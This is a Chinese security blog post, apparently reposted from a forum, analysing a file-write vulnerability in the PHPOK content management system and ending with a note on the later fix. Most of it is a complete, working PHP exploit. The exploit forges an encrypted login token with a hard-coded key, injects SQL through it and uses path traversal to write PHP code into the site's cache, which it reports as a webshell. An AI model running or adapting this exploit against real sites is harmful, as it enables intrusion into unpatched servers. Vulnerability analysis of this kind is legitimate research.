某开源系统文件写入漏洞分析
2023-6-23 15:2:35 Author: 红队蓝军(查看原文) 阅读量:27 收藏

0x01 路由分析 网站有三个入口(前端,接口,后台)都是从framework/_init_phpok.php这里执行,进行初始化处理 我们以action_admin为例,func分别通过get请求中的c和f获取,默认值为i...

0x01 路由分析

网站有三个入口(前端,接口,后台)都是从framework/_init_phpok.php这里执行,进行初始化处理

我们以action\_admin为例,$ctrl$func分别通过get请求中的cf获取,默认值为index

然后在_action_phpok4中调用相关的控制器和方法,例如访问http://127.0.0.1/admin.php?c=appsys&f=create就会调用framework\admin\appsys_control.php中的create_f方法

0x02 漏洞分析

漏洞存在文件:framework/admin/login_control.php中的update_f,这个方法的最后调用了vim函数,

查看vim可以看到他传入的两个分别是写入的内容和文件名,从而实现任意文件写入

这里的第二个参数$this->dir_cache.$fid.'-'.$fcode.'.php'中,$fid$fcode都是可控参数,可以直接通过get获取到

接下来看第一个参数$dataframework/libs/json.php中的encode方法是将数据转换成json数据,这里不用太多关注,向上追踪查看$data是否可控

可以看到这里的$data是通过$rs['id']$rs['account']和时间戳组成,继续追踪$rs

这里的$rs有两种赋值方式:

当没有传入quickcode参数时,需要传入userpass,然后将user带入数据库查询相关信息并验证账号密码是否正确,但是,由于这里传入的时明文,尖括号,引号等特殊字符会被进行编码过滤,所以这里进行sql注入或者写入shell。

所以我们来看第二种情况,当传入quickcode参数时,首先会对其进行解码得到$msg,然后将$msg['id']带入数据库查询相关信息得到$rs,而且这里只是验证了查询出的用户名是否和传入的用户名一致。最重要的一点是,由于传入的字符时加密过后的,所以解密后的内容不会被过滤编码,可以顺利构造payload进行sql注入。

所以这里我们需要解决的就是使得$rs['id']$rs['account']可控

由于get_one()方法是通过id拼接sql语句进行查询的

所以我们可以通过

$msg['id']等于-2'union select '<?php echo "test_vuln";?>',2,3,4,5,6,7,8,9,10,11#

$msg['user']等于2与上面sql注入的第二列一致以使得下面if判断$rs['account'] != $msg['user']不成立

$msg['domain']等于目标域名使得$msg['domain'] != $domain不成立

$msg['time']等于当前时间使得数据不超过30天

接下来这里主要来看看其时如何进行加密解密的,以便后续我编写加密脚本。

根据$msg = $this->lib('token')->decode($quickcode);我们查看framework/libs/token.php这个文件的decode方法

同时可以发现有加密和解密的函数,是一个对称加密,所以我们需要寻找加密的密钥

查看解密密钥解密密钥是$this->dir_cache.$fid.'.php'的md5值

api.php的md5值,为fb0b413b67dad231a42a6cd8facd5202

所以我们删除加密函数的部分剩下直接照搬复制粘贴写exp(注意直接替换keyid为fb0b413b67dad231a42a6cd8facd5202)

<?php

class token_lib
{
    private $keyid = '';
    private $keyc_length = 6;
    private $keya;
    private $keyb;
    private $time;
    private $expiry = 3600;
    private $encode_type = 'api_code'; //仅支持 api_code 和 public_key
    private $public_key = '';
    private $private_key = '';

    public function __construct()
    {
        $this->time = time();
    }

    public function etype($type="")
    {
        if($type && in_array($type,array('api_code','public_key'))){
            $this->encode_type = $type;
        }
        return $this->encode_type;
    }

    public function public_key($key='')
    {
        if($key){
            $this->public_key = $key;
        }
        return $this->public_key;
    }

    public function private_key($key='')
    {
        if($key){
            $this->private_key = $key;
        }
        return $this->private_key;
    }

    /**
     * 自定义密钥
     * @参数 $keyid 密钥内容
     **/
    public function keyid($keyid='a')
    {
        if(!$keyid){
            return $this->keyid;
        }
        $this->keyid = "fb0b413b67dad231a42a6cd8facd5202";
        $this->config();
        return $this->keyid;
    }

    private function config()
    {
        if(!$this->keyid){
            return false;
        }
        $this->keya = md5(substr($this->keyid, 0, 16));
        $this->keyb = md5(substr($this->keyid, 16, 16));
    }

    /**
     * 设置超时
     * @参数 $time 超时时间,单位是秒
     **/
    public function expiry($time=0)
    {
        if($time && $time > 0){
            $this->expiry = $time;
        }
        return $this->expiry;
    }

    /**
     * 加密数据
     * @参数 $string 要加密的数据,数组或字符
     **/
    public function encode($string)
    {
        if($this->encode_type == 'public_key'){
            return $this->encode_rsa($string);
        }
        if(!$this->keyid){
            return false;
        }
        $string = json_encode($string,JSON_UNESCAPED_UNICODE);
        $expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
        $string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;
        $keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
        $cryptkey = $this->keya.md5($this->keya.$keyc);
        $rs = $this->core($string,$cryptkey);
        return $keyc.str_replace('=''', base64_encode($rs));
    }

    /**
     * 基于公钥加密
     **/
    private function encode_rsa($string)
    {
        if(!$this->public_key){
            return false;
        }
        $string = json_encode($string,JSON_UNESCAPED_UNICODE);
        openssl_public_encrypt($string,$data,$this->public_key);
        return base64_encode($data);
    }

    private function core($string,$cryptkey)
    {
        $key_length = strlen($cryptkey);
        $string_length = strlen($string);
        $result = '';
        $box = range(0, 255);
        $rndkey = array();
        // 产生密匙簿
        for($i = 0; $i <= 255; $i++){
            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
        // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
        for($j = $i = 0; $i < 256; $i++){
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
        // 核心加解密部分
        for($a = $j = $i = 0; $i < $string_length$i++){
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        return $result;
    }
}

function exploit($url$filename$code){
    $data = array(
        'id' => "-2'union select '$code',2,3,4,5,6,7,8,9,10,11#",
        'user' => 2,
        'time' => time(),
        'domain' => '127.0.0.1'
    );
    $token = new token_lib();
    $token->keyid("aa");
    $quickcode = $token->encode($data);
    echo $quickcode;
    echo "<br/><br/>";
    $html = file_get_contents($url . "admin.php?c=login&f=update&fid=../api&fcode=/../_cache/$filename&quickcode=" . $quickcode);
    if (stripos($html"success") !== False) {
        print "Success,webshell: " . "$url" . "_cache/$filename.php\n";
    } else {
        print "Error";
    }

}
exploit("http://127.0.0.1/""vul"'<?php echo "test_vuln";?>');

运行此exp会得到$quickcode的值,并将其带入到url里执行

http://127.0.0.1/admin.php?c=login&f=updatehttp://127.0.0.1/admin.php?c=login&f=update&fid=../api&fcode=/../_cache/vul&quickcode=quickcode

成功写入到/_cache/vul.php

在最新版本中已修复该漏洞,修复方式就是将vim改成vi,在vi中会在最前面添加if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}即使后面有php代码也不会执行。

文章来源于:https://forum.butian.net/share/2305

若有侵权请联系删除

加下方wx,拉你一起进群学习


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247512230&idx=1&sn=f68919c5e70fc1153f74a9f4daaf107a&chksm=ce670a1af910830cd5b00f1727cad6e112d8bf3b15aaa4e6188f127324c55de7e32592fab983#rd
如有侵权请联系:admin#unsafe.sh